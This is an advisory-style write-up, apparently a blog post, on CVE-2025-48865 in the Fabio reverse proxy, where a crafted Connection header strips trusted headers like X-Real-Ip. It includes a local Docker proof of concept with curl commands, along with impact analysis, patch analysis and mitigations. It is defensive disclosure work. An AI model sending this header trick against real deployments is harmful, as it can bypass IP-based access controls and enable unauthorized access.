CVE-2025-48865: Fabio's Vanishing Act - How a Crafty Connection Header Can Make Your Security Headers Disappear!
TL;DR / Executive Summary
Heads up, Fabio users! A sneaky vulnerability, CVE-2025-48865, has been uncovered in Fabio, the fast, modern, zero-conf load balancing router. This flaw allows malicious HTTP clients to manipulate or even completely remove critical custom headers (like X-Forwarded-Host
, X-Real-Ip
) that Fabio adds before forwarding requests to your backend applications. The trick lies in abusing the HTTP Connection
header to mark these normally trusted headers as "hop-by-hop," causing Fabio to strip them.
Affected are Fabio versions up to and including 1.6.5. The vulnerability can lead to serious security misconfigurations, such as access control bypasses, if your backend applications rely on these headers for security decisions. The severity is considered critical, similar to past vulnerabilities in Apache and Traefik. The good news? A patch is available in Fabio version 1.6.6. Upgrade immediately!
Introduction: The Trusty Proxy and the Treacherous Header
Picture this: you've got Fabio, your diligent traffic cop, expertly directing requests to your backend services. It helpfully adds little sticky notes (HTTP headers like X-Forwarded-For
, X-Forwarded-Host
) to each request, telling your backend where the request really came from, what host it was originally for, and so on. Your backend applications trust these notes implicitly. What could go wrong?
Well, enter CVE-2025-48865. This vulnerability turns Fabio's helpfulness into a potential security hole. It's like an attacker convincing the traffic cop to remove some of those crucial sticky notes before the message reaches its destination. If your backend relies on those notes for, say, IP whitelisting or determining user privileges, you might suddenly find uninvited guests in your digital living room.
This matters to anyone running Fabio as a reverse proxy or load balancer, especially if backend services use headers like X-Forwarded-Host
or X-Real-Ip
for security-sensitive logic. It's a reminder that even components designed to enhance security can, if flawed, become a vector for attack.
Technical Deep Dive: The "Hop-by-Hop" Header Heist
So, how does this magic trick work? The culprit is the Connection
HTTP header and how Fabio processes "hop-by-hop" headers.
What are Hop-by-Hop Headers?
In the world of HTTP, headers are generally "end-to-end," meaning they are intended to be transmitted to the ultimate recipient of the request or response. However, some headers are "hop-by-hop." These are only meaningful for a single transport-level connection and are not to be forwarded by proxies. The standard hop-by-hop headers include Keep-Alive
, Transfer-Encoding
, TE
, Connection
, Trailer
, Upgrade
, and Proxy-Authorization
.
The Connection
header itself plays a crucial role here. It can list other header names that should also be treated as hop-by-hop for that specific connection. For example, Connection: close, X-Custom-Hop-Header
tells the next hop (e.g., a proxy) to process X-Custom-Hop-Header
and then remove it before forwarding the request.
The Root Cause in Fabio (CVE-2025-48865)
Fabio, like many proxies, adds important informational headers such as:
X-Forwarded-Host
: The original host requested by the client.X-Forwarded-Port
: The original port requested by the client.X-Forwarded-Proto
: The original protocol (HTTP/HTTPS) used by the client.X-Real-Ip
: The client's IP address.Forwarded
: A more standardized header encompassing the above information.
These headers are intended to be end-to-end from Fabio's perspective (i.e., Fabio adds them, and the backend receives them). The vulnerability CVE-2025-48865 arises because Fabio, prior to version 1.6.6, didn't properly sanitize or protect these self-added headers from being declared as hop-by-hop by an incoming client request.
An attacker could send a request like this:
GET / HTTP/1.1
Host: your-app.com
Connection: keep-alive, X-Forwarded-Host, X-Real-Ip
When Fabio (versions <= 1.6.5) processed this request, it would see X-Forwarded-Host
and X-Real-Ip
in the Connection
header. It would then dutifully add its own X-Forwarded-Host
and X-Real-Ip
headers, but then, because they were listed in the Connection
header, it would remove them before forwarding the request to the backend. Oops!
Affected Headers:
The following headers, typically added by Fabio, could be stripped:
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Real-Ip
Forwarded
Notably, X-Forwarded-For
is often handled differently by Go's underlying HTTP libraries and might not be as easily stripped by this specific mechanism in all configurations, but the advisory confirms other critical X-Forwarded-*
headers are vulnerable.
Attack Vectors and Business Impact
The impact depends heavily on how your backend applications use these headers:
- Access Control Bypass: If your application uses
X-Real-Ip
for IP-based whitelisting (e.g., allowing access to admin panels only from specific IPs), an attacker could strip this header. The application might then fail open (grant access) or fall back to checking the proxy's IP, which could be whitelisted for internal traffic, effectively bypassing the restriction. The Versa Concerto RCE case mentioned in the advisory is a prime example of how strippingX-Real-IP
can lead to auth bypass. - Cache Poisoning/Deception: If
X-Forwarded-Host
is used to generate absolute URLs or as part of a cache key, stripping or manipulating it could lead to users being served incorrect content or an attacker poisoning the cache. - Security Feature Bypass: Applications might use
X-Forwarded-Proto
to enforce HTTPS. If an attacker can strip this, the application might mistakenly believe the connection is HTTP, potentially disabling security features like HSTS or secure cookies. - Information Obfuscation: At a minimum, stripping these headers makes logs less useful and incident response harder.
The business impact can range from unauthorized data access and privilege escalation to full system compromise, depending on the backend's reliance on these headers. This is why similar vulnerabilities in Apache (CVE-2022-31813, CVSS 9.8) and Traefik (CVE-2024-45410, CVSS 9.3) received critical severity ratings.
Proof of Concept: Now You See It, Now You Don't!
Let's demonstrate this with a simplified setup, similar to the one provided in the advisory.
Setup:
We'll use Docker Compose with Fabio and a simple Python Flask backend that logs received headers.
-
docker-compose.yml
:version: '3' services: fabio: image: fabiolb/fabio:1.6.5 # Vulnerable version ports: - "3000:9999" # Fabio proxy port - "9998:9998" # Fabio UI volumes: - ./fabio.properties:/etc/fabio/fabio.properties backend: build: . # Assumes Dockerfile and app.py are in the current directory ports: - "8080:8080" # Expose for direct testing if needed, Fabio routes to this environment: - PYTHONUNBUFFERED=1
-
fabio.properties
:proxy.addr = :9999 ui.addr = :9998 registry.backend = static registry.static.routes = route add service / http://backend:8080/
-
Dockerfile
(for the backend):FROM python:3.11-slim WORKDIR /app COPY app.py . RUN pip install flask EXPOSE 8080 CMD ["python", "app.py"]
-
app.py
(Python Flask backend):from flask import Flask, request import sys import os sys.stdout.flush() # Ensure logs are seen immediately in Docker os.environ['PYTHONUNBUFFERED'] = '1' app = Flask(__name__) @app.before_request def log_request_info(): print("--- INCOMING REQUEST ---") print("HEADERS:") for header_name, header_value in request.headers: print(f" {header_name}: {header_value}") print("------------------------") @app.route("/", defaults={'path': ''}) @app.route("/<path:path>") def catch_all(path): return f"Backend received request for path: /{path}. Check logs for headers." if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=False)
1. Normal Request (Headers Intact):
Send a request through Fabio:
curl -i -H "Host: myapp.example.com" http://localhost:3000/test
Expected backend logs (simplified, some headers omitted for brevity):
--- INCOMING REQUEST ---
HEADERS:
Host: myapp.example.com
User-Agent: curl/7.74.0
Accept: */*
Forwarded: for=192.168.65.1; proto=http; by=172.18.0.3; httpproto=http/1.1 # IP might vary
X-Forwarded-For: 192.168.65.1
X-Forwarded-Host: myapp.example.com
X-Forwarded-Port: 3000
X-Forwarded-Proto: http
X-Real-Ip: 192.168.65.1
------------------------
Notice Fabio correctly added X-Forwarded-Host
, X-Real-Ip
, etc.
2. Malicious Request (Headers Stripped):
Now, let's try to strip X-Forwarded-Host
and X-Real-Ip
:
curl -i -H "Host: myapp.example.com" \
-H "Connection: keep-alive, X-Forwarded-Host, X-Real-Ip" \
http://localhost:3000/test-strip
Expected backend logs with vulnerable Fabio (<=1.6.5):
--- INCOMING REQUEST ---
HEADERS:
Host: myapp.example.com
User-Agent: curl/7.74.0
Accept: */*
Forwarded: for=192.168.65.1; proto=http; by=172.18.0.3; httpproto=http/1.1
X-Forwarded-For: 192.168.65.1
# X-Forwarded-Host: IS MISSING!
X-Forwarded-Port: 3000
X-Forwarded-Proto: http
# X-Real-Ip: IS MISSING!
------------------------
As you can see, X-Forwarded-Host
and X-Real-Ip
are gone! The backend application is now blind to the original host and client IP as intended by Fabio.
Mitigation and Remediation: Patch Up and Stay Vigilant!
Immediate Fixes:
- Upgrade Fabio: The primary and most effective solution is to upgrade Fabio to version 1.6.6 or later. This version includes a patch that prevents this header stripping.
Patch Analysis (What Changed in Fabio 1.6.6?):
The fix, visible in commit fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3
on GitHub, is quite clever. It happens in proxy/http_headers.go
.
- A new map
protectHeaders
is introduced. This map explicitly lists the headers that Fabio manages and should not be strippable via theConnection
header mechanism.// Theoretical example based on patch description var protectHeaders = map[string]bool{ "Forwarded": true, "X-Forwarded-For": true, // Though X-Forwarded-For has special handling by net/http/httputil.ReverseProxy "X-Forwarded-Host": true, "X-Forwarded-Port": true, "X-Forwarded-Proto": true, "X-Forwarded-Prefix": true, "X-Real-Ip": true, }
- When processing an incoming request, Fabio now inspects the
Connection
header. It iterates through the header names listed inConnection
. - For each header name found, it checks if it's one of the
protectHeaders
(after canonicalizing the header name, e.g.,x-forwarded-host
becomesX-Forwarded-Host
). - It then reconstructs the
Connection
header to be passed along, but only with the header names that are not in theprotectHeaders
list.// Simplified logic illustration var newConnectionValues []string for _, connHeaderValue := range r.Header.Values("Connection") { parts := strings.Split(connHeaderValue, ",") for _, part := range parts { trimmedPart := strings.TrimSpace(part) canonicalPart := textproto.CanonicalMIMEHeaderKey(trimmedPart) if !protectHeaders[canonicalPart] { newConnectionValues = append(newConnectionValues, trimmedPart) } } } r.Header.Del("Connection") if len(newConnectionValues) > 0 { r.Header.Set("Connection", strings.Join(newConnectionValues, ", ")) }
This way, even if an attacker sends Connection: X-Forwarded-Host
, Fabio will effectively ignore X-Forwarded-Host
in that list for its own hop-by-hop processing rules, ensuring the header it adds later isn't subsequently removed by this mechanism.
Long-Term Solutions & Best Practices:
- Defense in Depth: Don't let your backend applications solely rely on proxy-added headers for critical security decisions without any other checks. Where possible, use stronger authentication and authorization mechanisms.
- Web Application Firewall (WAF): A WAF might be configured to detect or block requests with suspicious
Connection
header manipulations, though this can be tricky to get right without causing false positives. - Regular Updates: Keep all your software, especially internet-facing components like load balancers, up to date.
Verification Steps:
- Upgrade Fabio to version 1.6.6 or later.
- Re-run the "Malicious Request" PoC from above.
- Check the backend logs. You should now see that
X-Forwarded-Host
andX-Real-Ip
(and other protected headers) are present, even with the maliciousConnection
header in the client's request. Fabio 1.6.6 will preserve them.
Timeline of CVE-2025-48865
- Discovery Date: Not publicly specified, likely early to mid-May 2025.
- Vendor Notification: Implicitly through GitHub issue tracking or direct contribution leading to the fix.
- Patch Availability: The fix was merged and included in Fabio version 1.6.6. The commit
fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3
addresses this. - Public Disclosure Date: May 28-29, 2025 (as per CVE and GitHub advisory publication).
"Behind the Scenes" Insight: This type of vulnerability, often called "HTTP Request Smuggling" or "Header Smuggling" (though this specific case is more "Header Stripping via Connection Abuse"), has a history. Similar issues have plagued other major proxies and web servers. It highlights the complexities of correctly implementing HTTP specifications, especially when dealing with chained proxies and client-controlled metadata like the Connection
header. The discovery likely came from security researchers testing common proxy misconfiguration patterns.
Lessons Learned: Trust, But Sanitize!
-
Prevention is Key:
- Sanitize Proxy-Specific Headers: Proxies should be programmed to protect the integrity of the headers they add. They shouldn't allow clients to trivially remove or alter these critical pieces of information. The fix in Fabio 1.6.6 is a good example of this.
- Assume Client Input is Hostile: Any part of an HTTP request controllable by the client (headers, body, URL) should be treated with suspicion until validated or sanitized.
-
Detection Techniques:
- Logging and Monitoring: Log all incoming headers at both the proxy and backend. Anomalous
Connection
headers (e.g., those listingX-Forwarded-*
headers) could be flagged. - Behavioral Analysis: If an application suddenly starts seeing requests without expected headers like
X-Real-Ip
from behind a trusted proxy, it could be an indicator of compromise or misconfiguration.
- Logging and Monitoring: Log all incoming headers at both the proxy and backend. Anomalous
-
One Key Takeaway:
The "Trusted Proxy" isn't always infallible. While reverse proxies add a layer of security and abstraction, they are still software and can have vulnerabilities. Backend applications should be designed with a degree of skepticism, even towards data purportedly added by a trusted upstream component, especially if that data is used for security decisions.
References and Further Reading
- Official Fabio Advisory: GHSA-q7p4-7xjv-j3wf
- Fabio GitHub Repository: https://github.com/fabiolb/fabio
- Similar Vulnerability (Apache HTTP Server): CVE-2022-31813
- Similar Vulnerability (Traefik): CVE-2024-45410
- Exploitation Example (Versa Concerto RCE): Versa Concerto Authentication Bypass & RCE by Stripping X-Real-IP
- RFC 7230, Section 6.1 (Connection Header): RFC 7230 - HTTP/1.1: Message Syntax and Routing
This vulnerability serves as a potent reminder: in the intricate dance of web protocols, even a seemingly innocuous header can be weaponized. So, patch your Fabio instances, review your backend logic, and stay secure!
What's the most "trusted" piece of information in your request pipeline that, if manipulated, would cause the biggest headache?